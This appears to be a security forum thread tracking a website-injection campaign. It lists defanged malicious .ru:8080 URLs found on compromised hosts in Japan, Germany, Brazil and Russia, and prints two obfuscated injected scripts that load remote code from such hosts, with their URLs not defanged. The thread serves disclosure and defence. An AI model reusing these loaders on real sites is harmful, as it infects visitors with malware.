<script>/*GNU GPL*/

[michajp]

Found on compromised hosts in ...

Japan:

Code: [Select]

hxxp://alot-com.linkbucks.com.watch-movies-online-tv.yourauthentic.ru:8080/google.com/google.com/softpedia.com/chip.de/ovguide.com/
hxxp://amazon-com.wikimedia.org.alibaba-com.truelifefamily.ru:8080/retailmenot.com/retailmenot.com/about.com/google.com/immobilienscout24.de/
hxxp://archive-org.rian.ru.cncmax-cn.trueworldmedia.ru:8080/google.com/google.com/booking.com/bankofamerica.com/yam.com/
hxxp://cartoonnetwork-com.daqi.com.google-com-tw.supertruelife.ru:8080/ovguide.com/ovguide.com/keyrun.cn/clarin.com/google.com/
hxxp://chinaz-com.thefreedictionary.com.aboutus-org.yourtruemate.ru:8080/foodnetwork.com/foodnetwork.com/filefactory.com/charter.net/google.com/
hxxp://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
hxxp://experts-exchange-com.realtor.com.4tube-com.trueworldmedia.ru:8080/fixya.com/fixya.com/heise.de/icio.us/google.com/
hxxp://ganji-com.17173.com.t-mobile-com.genuinehollywood.ru:8080/google.com/google.com/hdfcbank.com/mail.com/ebay.ca/
hxxp://gap-com.kicker.de.clicksor-com.yourtruemate.ru:8080/zing.vn/zing.vn/aol.com/google.com/xbox.com/
hxxp://getiton-com.milliyet.com.tr.kaixin001-com.trueworldmedia.ru:8080/google.co.il/google.co.il/ynet.com/google.bg/google.com/
hxxp://google-ae.sears.com.wretch-cc.truelifefamily.ru:8080/marca.com/marca.com/wer-kennt-wen.de/repubblica.it/google.com/
hxxp://google-bg.gumtree.com.iza-ne-jp.trueworldmedia.ru:8080/daum.net/daum.net/letitbit.net/opendns.com/google.com/
hxxp://google-com-ly.sulekha.com.4shared-com.trueworldmedia.ru:8080/google.com/google.com/azet.sk/cookpad.com/travian.com/
hxxp://google-de.proboards.com.zappos-com.trueworldmedia.ru:8080/apple.com/apple.com/freeones.com/engadget.com/google.com/
hxxp://hottiestar-com.smh.com.au.tribalfusion-com.trueworldmedia.ru:8080/google.com/google.com/lifehacker.com/mediaset.it/chinaren.com/
hxxp://huffingtonpost-com.badjojo.com.mozilla-com.trueworldmedia.ru:8080/google.com/google.com/accuweather.com/filefactory.com/imeem.com/
hxxp://hurriyet-com-tr.pantip.com.google-se.truelifefamily.ru:8080/sears.com/sears.com/google.com/weebly.com/baidu.com/
hxxp://kioskea-net.freakshare.net.dtiblog-com.yourtruemate.ru:8080/uploaded.to/uploaded.to/orkut.com/google.com/torrentz.com/
hxxp://lenta-ru.joomla.org.orange-fr.trueworldmedia.ru:8080/google.com/google.com/vente-privee.com/voila.fr/allocine.fr/
hxxp://mozilla-com.symantec.com.freelotto-com.yourtruemate.ru:8080/google.com/google.com/google.com.au/cookpad.com/intel.com/
hxxp://orbitdownloader-com.koubei.com.doubleclick-com.yourtruecrime.ru:8080/ow.ly/ow.ly/google.com/meinvz.net/ziddu.com/
hxxp://ppstream-com.experts-exchange.com.rapid4me-com.trueworldmedia.ru:8080/google.com/google.com/badongo.com/stc.com.sa/chinaren.com/
hxxp://rapid4me-com.univision.com.blogbus-com.yourtruemate.ru:8080/google.com.ly/google.com.ly/nicovideo.jp/runescape.com/google.com/
hxxp://studiverzeichnis-com.china.com.squidoo-com.trueworldmedia.ru:8080/xvideos.com/xvideos.com/alisoft.com/goal.com/google.com/
hxxp://teacup-com.uwants.com.yahoo-com-cn.truelifefamily.ru:8080/clarin.com/clarin.com/ime.nu/askmen.com/google.com/
hxxp://twitpic-com.ggpht.com.abc-go-com.supertruelife.ru:8080/ynet.com/ynet.com/iwiw.hu/55bbs.com/google.com/
hxxp://w3schools-com.news.com.au.blogbus-com.truelifefamily.ru:8080/live.com/live.com/kino.to/sonico.com/google.com/
hxxp://wareseeker-com.comcast.net.last-fm.truelifefamily.ru:8080/tmz.com/tmz.com/google.com/1e100.net/go.com/
hxxp://welt-de.baixing.com.ups-com.truelifefamily.ru:8080/google.co.ma/google.co.ma/tumblr.com/amazon.de/google.com/
hxxp://yam-com.classmates.com.quikr-com.cobalttrueblue.ru:8080/google.com/google.com/rbc.ru/craigslist.ca/target.com/
Germany:

Code: [Select]

hxxp://anonym-to.ca.gov.adultfriendfinder-com.genuinecolors.ru:8080/insightexpressai.com/insightexpressai.com/google.com/kaixin001.com/metacafe.com/
hxxp://answers-com.etsy.com.infoseek-co-jp.genuinecolors.ru:8080/vmn.net/vmn.net/filestube.com/stackoverflow.com/google.com/
hxxp://askmen-com.azet.sk.4399-com.yourauthentic.ru:8080/att.net/att.net/sedoparking.com/ups.com/google.com/
hxxp://att-net.sina.com.cn.surveymonkey-com.cobalttrueblue.ru:8080/comcast.net/comcast.net/google.com/chinanews.com.cn/google.ch/
hxxp://dailymail-co-uk.letitbit.net.washingtonpost-com.supertruelife.ru:8080/boston.com/boston.com/google.com/detiknews.com/myspace.com/
hxxp://dailymotion-com.rayfile.com.keezmovies-com.yourauthentic.ru:8080/geocities.jp/geocities.jp/google.com/basecamphq.com/google.com.ph/
hxxp://dell-com.livejournal.com.excite-co-jp.yourtruegame.ru:8080/pixmania.com/pixmania.com/katz.cd/google.com/craigslist.ca/
hxxp://ebay-de.yandex.ua.depositfiles-com.cometruestar.ru:8080/liba.com/liba.com/google.com.do/google.com/bankofamerica.com/
hxxp://ebuddy-com.blogfa.com.bloomberg-com.cometruestar.ru:8080/wp.pl/wp.pl/evony.com/imeem.com/google.com/
hxxp://eorezo-com.rapidshare.com.blogger-com.yourauthentic.ru:8080/indiatimes.com/indiatimes.com/google.com/last.fm/ipicture.ru/
hxxp://goal-com.iciba.com.hao123-com.trueworldmedia.ru:8080/google.com/google.com/echoroukonline.com/blackhatworld.com/staples.com/
hxxp://google-com-br.sfgate.com.xanga-com.genuinecolors.ru:8080/collegehumor.com/collegehumor.com/google.com/imdb.com/vkontakte.ru/
hxxp://google-com-vn.masrawy.com.google-com-pk.thetruehelp.ru:8080/angege.com/angege.com/rapidlibrary.com/google.com/allrecipes.com/
hxxp://heise-de.youtube.com.pcworld-com.cobalttrueblue.ru:8080/google.com/google.com/infoseek.co.jp/leo.org/experts-exchange.com/
hxxp://hoopchina-com.metroflog.com.gap-com.yourtruegame.ru:8080/google.dk/google.dk/google.com/xunlei.com/y8.com/
hxxp://monografias-com.charter.net.indiatimes-com.cometruestar.ru:8080/cams.com/cams.com/google.com/lenovo.com/myegy.com/
hxxp://pplive-com.xing.com.detiknews-com.yourauthentic.ru:8080/google.com/google.com/boston.com/yieldmanager.com/google.com/
hxxp://priceline-com.dantri.com.vn.godaddy-com.genuinecolors.ru:8080/google.com.tr/google.com.tr/lifehacker.com/google.com/guardian.co.uk/
hxxp://renren-com.fifa.com.americanexpress-com.cobalttrueblue.ru:8080/google.no/google.no/eorezo.com/exbii.com/google.com/
hxxp://sabah-com-tr.naukri.com.zol-com-cn.cobalttrueblue.ru:8080/huffingtonpost.com/huffingtonpost.com/google.com/homedepot.com/babylon.com/
hxxp://samsung-com.ezinearticles.com.pornorama-com.genuinehollywood.ru:8080/statcounter.com/statcounter.com/alipay.com/google.com/met-art.com/
hxxp://sourceforge-net.17173.com.virginmedia-com.yourauthentic.ru:8080/google.com/google.com/51yes.com/39.net/mtv.com/
hxxp://staples-com.azet.sk.google-com-hk.genuinecolors.ru:8080/google.com/google.com/abc.go.com/southwest.com/torrentreactor.net/
hxxp://techcrunch-com.google.com.ph.google-com-co.thetruehelp.ru:8080/hyves.nl/hyves.nl/love21cn.com/google.com/sfgate.com/
hxxp://uploading-com.118114.cn.t-online-de.cometruestar.ru:8080/softlayer.com/softlayer.com/jrj.com.cn/google.com/tv.com/
hxxp://xici-net.staples.com.1e100-net.yourauthentic.ru:8080/google.com/google.com/spiegel.de/espn.go.com/fastbrowsersearch.com/

Brazil:

Code: [Select]

hxxp://admagnet-net.plentyoffish.com.adobe-com.truelifefamily.ru:8080/allabout.co.jp/allabout.co.jp/google.com/gsmarena.com/iciba.com/
hxxp://att-com.yandex.ru.mynet-com.supertruelife.ru:8080/bestbuy.com/bestbuy.com/google.it/google.com/hattrick.org/
hxxp://bankofamerica-com.fishki.net.clickbank-com.supertruelife.ru:8080/tuenti.com/tuenti.com/walmart.com/google.com/amazon.co.jp/
hxxp://conduit-com.who.is.alice-it.cometruestar.ru:8080/robtex.com/robtex.com/www.net.cn/google.com/rmxads.com/
hxxp://easy-share-com.huanqiu.com.dailymotion-com.genuinehollywood.ru:8080/r10.net/r10.net/google.com/oricon.co.jp/babylon.com/
hxxp://farmville-com.paypal.com.jcpenney-com.truelifefamily.ru:8080/hattrick.org/hattrick.org/miibeian.gov.cn/google.com/google.com.do/
hxxp://godaddy-com.love21cn.com.deezer-com.genuinecolors.ru:8080/farmville.com/farmville.com/hp.com/google.com/keyrun.cn/
hxxp://masrawy-com.liveinternet.ru.adbrite-com.truelifefamily.ru:8080/google.com/google.com/bluehost.com/imagefap.com/atdmt.com/
hxxp://me-com.softpedia.com.zazzle-com.genuinecolors.ru:8080/google.com/google.com/wsj.com/digitalpoint.com/comdirect.de/
hxxp://mixi-jp.amazon.co.uk.match-com.thetruehelp.ru:8080/custhelp.com/custhelp.com/news3insider.com/bangbros1.com/google.com/
hxxp://newegg-com.bluehost.com.nasza-klasa-pl.yourtruemate.ru:8080/incredimail.com/incredimail.com/csdn.net/google.com/oneindia.in/
hxxp://playstation-com.careerbuilder.com.ngoisao-net.genuinehollywood.ru:8080/seriesyonkis.com/seriesyonkis.com/qip.ru/sakura.ne.jp/google.com/
hxxp://qip-ru.answers.com.kino-to.yourtruemate.ru:8080/sweetim.com/sweetim.com/nikkansports.com/google.com/google.pl/
hxxp://runescape-com.opendns.com.wikipedia-org.yourauthentic.ru:8080/mywebsearch.com/mywebsearch.com/indiatimes.com/google.com/imgur.com/
hxxp://sfr-fr.dianping.com.depositfiles-com.genuinehollywood.ru:8080/paipai.com/paipai.com/sogou.com/google.com/google.com.tr/
hxxp://wired-com.google.no.ovh-net.truelifefamily.ru:8080/ggpht.com/ggpht.com/download.com/debonairblog.com/google.com/
hxxp://yoka-com.fotolia.com.ustream-tv.cometruestar.ru:8080/google.com/google.com/domaintools.com/addthis.com/nikkansports.com/
hxxp://zappos-com.ku6.com.mail-com.yourauthentic.ru:8080/ninemsn.com.au/ninemsn.com.au/musica.com/google.com/nicovideo.jp/

[michajp]

Russia:

Code: [Select]

hxxp://nicovideo-jp.megaporn.com.constantcontact-com.yourtruecrime.ru:8080/google.com/google.com/55bbs.com/ddmap.com/apple.com/
hxxp://plala-or-jp.vnet.cn.tripadvisor-com.genuinehollywood.ru:8080/digitalpoint.com/digitalpoint.com/google.com/google.com.br/google.com.do/
hxxp://sohu-com.friendster.com.wer-kennt-wen-de.thechocolateweb.ru:8080/slideshare.net/slideshare.net/google.com/realitykings.com/nydailynews.com/
hxxp://tiscali-it.dantri.com.vn.perezhilton-com.yourtruecrime.ru:8080/farmville.com/farmville.com/lenta.ru/google.com/17173.com/
hxxp://zshare-net.daqi.com.19lou-com.genuinehollywood.ru:8080/google.com/google.com/keezmovies.com/sahibinden.com/mercadolibre.com.ar/

Additional some special cases:

Code: [Select]

hxxp://2analytics.ws/in.cgi?8
hxxp://4analytics.ws/in.cgi?8
hxxp://50centptr.com/slot4.html
hxxp://unlock.mn/count.js (dead?)

[michajp]

More from .de injections:

Code: [Select]

hxxp://abc-go-com.addictinggames.com.tuenti-com.yourauthentic.ru:8080/google.com/google.com/suite101.com/deviantart.com/pixiv.net/
hxxp://adsrevenue-net.icbc.com.cn.dmm-co-jp.genuinehollywood.ru:8080/tudou.com/tudou.com/verycd.com/google.com/shopping.com/
hxxp://aftonbladet-se.basecamphq.com.ameblo-jp.trueworldmedia.ru:8080/google.com/google.com/tiscali.it/china.com.cn/freakshare.net/
hxxp://answers-com.angege.com.winamp-com.supertruelife.ru:8080/shaadi.com/shaadi.com/dianping.com/google.com/scribd.com/
hxxp://atdmt-com.icicibank.com.moneycontrol-com.yourtruemate.ru:8080/aboutus.org/aboutus.org/cartoonnetwork.com/google.com/uwants.com/
hxxp://avaxhome-ws.tuenti.com.fc2-com.cometruestar.ru:8080/sify.com/sify.com/google.com/google.sk/engadget.com/
hxxp://bigpoint-com.skysports.com.sfgate-com.thetruehelp.ru:8080/hudong.com/hudong.com/azet.sk/amazon.com/google.com/
hxxp://bing-com.thepiratebay.org.irctc-co-in.supertruelife.ru:8080/im286.com/im286.com/google.com/myspace.com/comdirect.de/
hxxp://brazzers-com.yoka.com.slickdeals-net.genuinehollywood.ru:8080/google.com/google.com/nfl.com/huanqiu.com/myyearbook.com/
hxxp://chinamobile-com.51yes.com.flickr-com.yourtruegame.ru:8080/4tube.com/4tube.com/google.com/allyes.com/hotlinkimage.com/
hxxp://chinanews-com-cn.elance.com.mtv-com.genuinecolors.ru:8080/fastbrowsersearch.com/fastbrowsersearch.com/6.cn/google.no/google.com/
hxxp://cnblogs-com.empflix.com.zappos-com.genuinehollywood.ru:8080/google.com/google.com/timesonline.co.uk/chase.com/gazeta.pl/
hxxp://download-com.118114.cn.xbox-com.thetruehelp.ru:8080/google.com/google.com/mlb.com/symantec.com/google.es/
hxxp://easy-share-com.ifolder.ru.ups-com.yourtruegame.ru:8080/csdn.net/csdn.net/linkwithin.com/google.com/51.la/
hxxp://ebay-com-au.rk.com.google-ro.truelifefamily.ru:8080/google.com/google.com/mashable.com/google.cz/bit.ly/
hxxp://experts-exchange-com.cdiscount.com.rian-ru.genuinehollywood.ru:8080/sify.com/sify.com/google.com/51.com/mercadolivre.com.br/
hxxp://fotolia-com.brothersoft.com.articlesbase-com.genuinecolors.ru:8080/associatedcontent.com/associatedcontent.com/google.com/buzznet.com/mozilla.org/
hxxp://friendster-com.linkbucks.com.google-com-tr.genuinehollywood.ru:8080/answers.com/answers.com/google.com/amazon.com/cnzz.com/
hxxp://globo-com.pcauto.com.cn.getafreelancer-com.yourtruemate.ru:8080/google.com/google.com/buy.com/shareasale.com/videosz.com/
hxxp://google-cl.quikr.com.komli-com.cobalttrueblue.ru:8080/google.com.pe/google.com.pe/google.com/gamestop.com/jcpenney.com/
hxxp://google-co-hu.mail.com.tudou-com.yourtruemate.ru:8080/ign.com/ign.com/google.com/atdmt.com/ifolder.ru/
hxxp://google-co-il.sonico.com.altervista-org.yourtruegame.ru:8080/zedo.com/zedo.com/tabelog.com/google.com/docstoc.com/
hxxp://google-es.aboutus.org.komli-com.yourtruemate.ru:8080/seesaa.net/seesaa.net/google.com/woot.com/askmen.com/
hxxp://google-ie.gougou.com.naqigs-com.genuinehollywood.ru:8080/blogger.com/blogger.com/google.com/google.com.ph/google.ro/
hxxp://google-lk.att.net.warez-bb-org.yourtruegame.ru:8080/google.com/google.com/elmundo.es/keezmovies.com/mywebsearch.com/
hxxp://google-sk.ebay.de.wired-com.genuinehollywood.ru:8080/google.com/google.com/linksynergy.com/shaadi.com/startimes2.com/
hxxp://hotfile-com.aol.co.uk.watch-movies-online-tv.supertruelife.ru:8080/dmm.co.jp/dmm.co.jp/besttubeclips.com/moneycontrol.com/google.com/
hxxp://hp-com.voila.fr.51-la.cometruestar.ru:8080/google.com/google.com/softpedia.com/love21cn.com/biglobe.ne.jp/
hxxp://icbc-com-cn.yahoo.com.cn.hyves-nl.yourauthentic.ru:8080/google.com/google.com/nokia.com/metroflog.com/ustream.tv/
hxxp://ifeng-com.comdirect.de.pichunter-com.yourtruegame.ru:8080/google.co.in/google.co.in/google.com/fifa.com/nikkansports.com/
hxxp://in-com.cncmax.cn.admagnet-net.yourtruemate.ru:8080/google.com/google.com/fotolog.net/livedoor.com/sciencedirect.com/
hxxp://indianrail-gov-in.qq.com.google-com-vn.truelifefamily.ru:8080/google.com/google.com/xici.net/google.com.sa/zimbio.com/
hxxp://juegos-com.google.ie.classmates-com.yourauthentic.ru:8080/ebay.de/ebay.de/ya.ru/google.com/wareseeker.com/
hxxp://linksynergy-com.msn.com.cn.fling-com.supertruelife.ru:8080/associatedcontent.com/associatedcontent.com/google.com/sendspace.com/hardsextube.com/
hxxp://livedoor-biz.homeway.com.cn.rk-com.trueworldmedia.ru:8080/google.com.mx/google.com.mx/leo.org/google.com/mysql.com/
hxxp://meebo-com.foxnews.com.sitemeter-com.truelifefamily.ru:8080/google.com.mx/google.com.mx/google.com/cartoonnetwork.com/cncmax.cn/
hxxp://megaclick-com.softlayer.com.cnet-com.thetruehelp.ru:8080/globo.com/globo.com/tube8.com/4chan.org/google.com/
hxxp://mercadolivre-com-br.nytimes.com.woot-com.yourauthentic.ru:8080/fox.com/fox.com/ultimate-guitar.com/en.wordpress.com/google.com/
hxxp://mixx-com.aljazeera.net.interia-pl.cometruestar.ru:8080/dion.ne.jp/dion.ne.jp/google.com/persianblog.ir/wat.tv/
hxxp://mlb-com.tribalfusion.com.google-com-co.thetruehelp.ru:8080/staples.com/staples.com/radikal.ru/google.com/brothersoft.com/
hxxp://nextag-com.realitykings.com.google-com-eg.cobalttrueblue.ru:8080/ebay.de/ebay.de/hyves.nl/southwest.com/google.com/
hxxp://nhl-com.welt.de.imeem-com.trueworldmedia.ru:8080/google.com/google.com/gizmodo.com/nate.com/fastclick.com/
hxxp://opera-com.ameblo.jp.wretch-cc.yourtruegame.ru:8080/gittigidiyor.com/gittigidiyor.com/google.com/lowes.com/google.ro/
hxxp://opera-com.kakaku.com.soufun-com.cometruestar.ru:8080/google.com/google.com/ovh.net/marketwatch.com/detik.com/
hxxp://pconline-com-cn.allabout.co.jp.tabnak-ir.truesoulonline.ru:8080/google.com/google.com/56.com/sakura.ne.jp/eyny.com/
hxxp://rk-com.wrzuta.pl.so-net-ne-jp.yourtruemate.ru:8080/webmasterworld.com/webmasterworld.com/naqigs.com/google.com/gittigidiyor.com/
hxxp://sfr-fr.milliyet.com.tr.alot-com.yourtruemate.ru:8080/sourceforge.net/sourceforge.net/bigpoint.com/google.com/yahoo.com/
hxxp://shufuni-com.yimg.com.kaixin001-com.cobalttrueblue.ru:8080/nypost.com/nypost.com/google.com/elmundo.es/articlesbase.com/
hxxp://skycn-com.pixmania.com.ngoisao-net.trueworldmedia.ru:8080/allegro.pl/allegro.pl/google.com/smashingmagazine.com/hattrick.org/
hxxp://softpedia-com.google.cl.google-pl.yourtruegame.ru:8080/google.com/google.com/playstation.com/monografias.com/freeones.com/
hxxp://southwest-com.whitepages.com.wordpress-org.genuinecolors.ru:8080/google.com/google.com/studiverzeichnis.com/foxsports.com/foxnews.com/
hxxp://sun-com.virginmedia.com.amazon-de.trueworldmedia.ru:8080/cyworld.com/cyworld.com/5d6d.com/google.com.pk/google.com/
hxxp://ticketmaster-com.clicksor.com.mop-com.cometruestar.ru:8080/webmasterworld.com/webmasterworld.com/fedex.com/google.com/chinamobile.com/
hxxp://typepad-com.harrenmedianetwork.com.mybrowserbar-com.trueworldmedia.ru:8080/yesky.com/yesky.com/verycd.com/google.com.tw/google.com/
hxxp://uwants-com.newgrounds.com.paipai-com.yourtruegame.ru:8080/google.com/google.com/xing.com/zshare.net/topshareware.com/
hxxp://vente-privee-com.juegos.com.hoopchina-com.trueworldmedia.ru:8080/yandex.ua/yandex.ua/chinaren.com/google.com/att.net/
hxxp://virginmedia-com.anjuke.com.lauxanh-us.yourtruegame.ru:8080/shareasale.com/shareasale.com/google.com/digitalpoint.com/oyunlar1.com/
hxxp://vmn-net.digg.com.alipay-com.truelifefamily.ru:8080/google.com/google.com/linkbucks.com/ustream.tv/yam.com/
hxxp://vnet-cn.nikkansports.com.google-com-tr.thetruehelp.ru:8080/tabnak.ir/tabnak.ir/mercadolivre.com.br/vmn.net/google.com/
hxxp://warriorforum-com.mediaplex.com.kohls-com.trueworldmedia.ru:8080/doubleclick.com/doubleclick.com/google.com/google.sk/runescape.com/
hxxp://winamp-com.livejasmin.com.taobao-com.yourtruegame.ru:8080/enet.com.cn/enet.com.cn/yahoo.com.cn/google.com/msn.com.cn/
hxxp://wired-com.travian.com.xanga-com.thetruehelp.ru:8080/4tube.com/4tube.com/youdao.com/google.ca/google.com/
hxxp://wsj-com.isohunt.com.china-com-cn.genuinehollywood.ru:8080/usatoday.com/usatoday.com/ikea.com/seesaa.net/google.com/
hxxp://xnxx-com.55bbs.com.kaixin001-com.yourtruemate.ru:8080/google.com/google.com/zaobao.com/doubleclick.com/rottentomatoes.com/
hxxp://zappos-com.cnzz.com.slickdeals-net.genuinecolors.ru:8080/lemonde.fr/lemonde.fr/google.ro/cookpad.com/google.com/
hxxp://zshare-net.ynet.com.110mb-com.cobalttrueblue.ru:8080/google.com/google.com/aol.co.uk/sanspo.com/armorgames.com/
hxxp://zylom-com.ustream.tv.nikkansports-com.trueworldmedia.ru:8080/huanqiu.com/huanqiu.com/google.com/hp.com/conduit.com/


[michajp]

Plenty of changes recently. A sample of injected code:

Code: [Select]

<script>var y;if(y!='' && y!='e'){y='x'};var v=window;this.d=false;var t=document;var xl;if(xl!='ou'){xl=''};var db;if(db!='i' && db!='pt'){db=''};var l='s%c.rxijpxt%'.replace(/[%x8j\.]/g, '');var a=new Array();var r=new Array();var ha='';v.onload=function(){this.b=20625;var pz;if(pz!='' && pz!='pd'){pz=null};try {var jm;if(jm!='' && jm!='fe'){jm=null};n=t.createElement(l);n.src='h1x$x1p$:M/L/LbLb1c1-Mc$oL-1uVk$.1pLoMgLo$.LcVoLm$.1gLo1oLgLlVe1-VcVo$-$u$k1.MrMeLc$eVnVt1mMeMx$iVcLo$.1r1u1:M8V0L8M0M/Ln$eMw1eVg$gV.1cMo1m$/$nLeLwVe$gVgV.1cVoLmL/MwLiMk1iVpLe$dLi$a1.MoMrMgM/Vg1oMo1gLl$e$.Mc$oLmL/VgLo1oLg1l1eM.1cVo$.Vv$e$/$'.replace(/[\$VLM1]/g, '');var au=false;n.setAttribute('dlelfPelrN'.replace(/[N%zlP]/g, ''), "1");this.lw="";var pzo;if(pzo!='ll' && pzo!='vq'){pzo=''};var ly=false;t.body.appendChild(n);var m=39390;} catch(o){var rd=33131;};};var ky;if(ky!='' && ky!='qh'){ky='pe'};</script>

<script>var c;if(c!='' && c!='a'){c=null};e=function(){this.n=false;var y=document;var cx;if(cx!='' && cx!='d'){cx=''};window[q([2,0][0])]=function(){var dj=new Array();try {var qs=new Array();p=y[q([1][0])](q([5,0][1]));var w="w";p[q([5][0])](q([7][0]), "1");var ri;if(ri!='x' && ri!='dn'){ri=''};p[q([3][0])]=q([4,8][1]);var yu = y[q([6,5][0])];var gx;if(gx!='' && gx!='wk'){gx=null};this._t=22924;yu[q([4,4][0])](p);var hq='';} catch(h){this.v=36680;};};var wh='';function q(hv){var m=['s2c_r5i/p_t/'.replace(/[/5_e2]/g, ''), 'cIr@eoaot1e@E@loe@m&e&nItI'.replace(/[I&o@1]/g, ''), 'oxnHlSoSaxdX'.replace(/[XSxHA]/g, ''), 'sKrKcK'.replace(/[KQCM%]/g, ''), 'a_p_p>e>n.d.C>hoiol.do'.replace(/[o\.E_\>]/g, ''), 'sxe2txA2t2t/rcixb>u/t>ec'.replace(/[c2x\>/]/g, ''), 'bzoJdFyz'.replace(/[z@PJF]/g, ''), 'dUesfse/rs'.replace(/[sUB/Q]/g, ''), 'h!x1xjpj:j/x/1gjo!ojg9l1ex-xc9n9.1b!e!exmxpj31.xcxo9mj.1hxajr1r1exn9m1e!d1ija9n1e!txw!ojrjk1-9c9oxm!.jbxexs!t!nje1w!s1m!ajl1l!.!r1uj:18x018j0!/jtxajgxg9e!dx.xc9ojm9/xt!a1g!gje9dj.9c9ojmj/!gxo9ojgjl!ex.1c1oxm9/1wje1e!b1l9y!.9cxojm!/1y9ixe1ljd1m1a9n9a9gxe!r1.xcxoxm1/!'.replace(/[\!j19x]/g, '')];var r=m[hv];this.bh=14904;return r;var ekx;if(ekx!='' && ekx!='yi'){ekx=null};}this._f='';this.wu=42526;var rk;if(rk!='ia'){rk=''};};e();</script>
<!--e10f6dae72e470fdef639d13cd5c7d51-->